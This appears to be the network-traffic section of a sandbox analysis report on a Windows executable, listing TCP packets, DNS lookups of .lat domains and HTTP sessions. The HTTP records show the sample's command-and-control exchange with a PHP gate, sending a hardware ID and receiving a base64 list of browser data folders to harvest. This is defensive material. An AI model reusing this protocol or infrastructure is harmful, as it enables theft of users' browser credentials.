Dec 20, 2024 16:08:22.186604023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.186945915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.187177896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.187318087 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.187355042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.187439919 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.188096046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.188174963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.188178062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.188234091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.188863039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.189033031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.189076900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.189076900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.189680099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.189779043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.189888000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.189949989 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.190530062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.190613031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.190932989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.190989971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.191869974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.191881895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.191936970 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.193206072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.193259954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.193917990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.194041014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.195261955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.195275068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.195322037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.197325945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.197340012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.197402000 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.197402000 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.197999954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.198012114 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.198023081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.198052883 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.198075056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.198685884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.198698044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.198901892 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.199398041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.199410915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.199579954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.200067043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.200613976 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.202156067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.202168941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.202233076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.202804089 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.202888966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.203496933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.203552008 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.205558062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.205571890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.205631018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.206940889 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.206954002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.207113981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.208354950 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.208472013 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.209009886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.209121943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.209700108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.209832907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.210371971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.210508108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.211750031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.211762905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.211878061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.213124990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.213136911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.213208914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.213260889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.214548111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.214965105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.215208054 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.215328932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.215894938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.215992928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.216520071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.216571093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.217958927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.217971087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.218131065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.219386101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.219398975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.219470978 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.222052097 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.222064972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.222152948 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.223436117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.223448992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.223578930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.224843025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.225012064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.225511074 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.225589037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.226191044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.226299047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.226871014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.228240967 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.228275061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.228286982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.228332043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.229358912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.229463100 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.229960918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.230256081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.231332064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.231344938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.231451035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.232738972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.232752085 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.232830048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.234075069 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.234163046 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.234802961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.234853029 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.235480070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.235564947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.236150026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.236274958 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.237590075 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.237644911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.238209009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.238292933 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.239661932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.239681959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.239727020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.239727020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.241283894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.241296053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.241365910 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.242604971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.243076086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.243155003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.243215084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.243844032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.244023085 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.244385958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.244450092 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.245510101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.245677948 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.246119022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.246228933 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.246900082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.246912956 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.246989012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.247500896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.247517109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.247528076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.247575045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.247575045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.248122931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.248300076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.381484032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.381522894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.381668091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.381850004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.381861925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.381931067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.381931067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.383579016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.383680105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.383775949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.383788109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.383918047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.390567064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.390633106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.390954971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.390968084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.391073942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.391367912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.391454935 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.391817093 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.391896963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.392657042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.392671108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.392724991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.392724991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.392941952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.393058062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.393565893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.393578053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.393620968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.394320011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.394365072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:22.394557953 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:22.394656897 CET	49965	80	192.168.2.5	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 16:06:30.729441881 CET	192.168.2.5	1.1.1.1	0xb59f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:06:30.729599953 CET	192.168.2.5	1.1.1.1	0x92a0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 16:08:12.891782045 CET	192.168.2.5	1.1.1.1	0x430	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:08:13.039410114 CET	192.168.2.5	1.1.1.1	0x4670	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:08:13.181993961 CET	192.168.2.5	1.1.1.1	0xd976	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:06:30.866539001 CET	1.1.1.1	192.168.2.5	0xb59f	No error (0)	www.google.com		172.217.19.164	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:06:30.866554022 CET	1.1.1.1	192.168.2.5	0x92a0	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 16:08:13.034255981 CET	1.1.1.1	192.168.2.5	0x430	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:08:13.177256107 CET	1.1.1.1	192.168.2.5	0x4670	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:08:13.340039015 CET	1.1.1.1	192.168.2.5	0xd976	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:08:13.340039015 CET	1.1.1.1	192.168.2.5	0xd976	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5044	C:\Users\user\Desktop\R2CgZG545D.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:06:21.022310972 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:06:22.355922937 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:06:22.359261036 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 46 35 45 38 44 35 41 45 42 38 44 37 30 39 39 36 31 34 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"0F5E8D5AEB8D709961413------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"stok------IDBKKKKKFBGDGDHIDBGH--
Dec 20, 2024 16:06:22.812808037 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 55 31 59 7a 56 6c 4d 7a 46 6d 59 6a 6b 33 4d 7a 42 6a 5a 6a 59 30 4f 47 59 32 4f 54 56 69 4f 54 5a 6d 4d 7a 63 7a 4e 6a 6b 35 4d 57 46 6a 5a 47 45 79 4d 32 4d 31 59 54 4a 6c 5a 44 67 35 4d 54 52 6d 4e 6a 67 32 59 6a 42 6a 5a 57 56 69 59 54 4d 34 59 6d 5a 69 5a 44 4d 7a 5a 44 4d 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjU1YzVlMzFmYjk3MzBjZjY0OGY2OTViOTZmMzczNjk5MWFjZGEyM2M1YTJlZDg5MTRmNjg2YjBjZWViYTM4YmZiZDMzZDMwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 20, 2024 16:06:22.814651012 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFII Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="message"browsers------KKFBAAFCGIEGDHIEBFII--
Dec 20, 2024 16:06:23.254008055 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 20, 2024 16:06:23.254154921 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
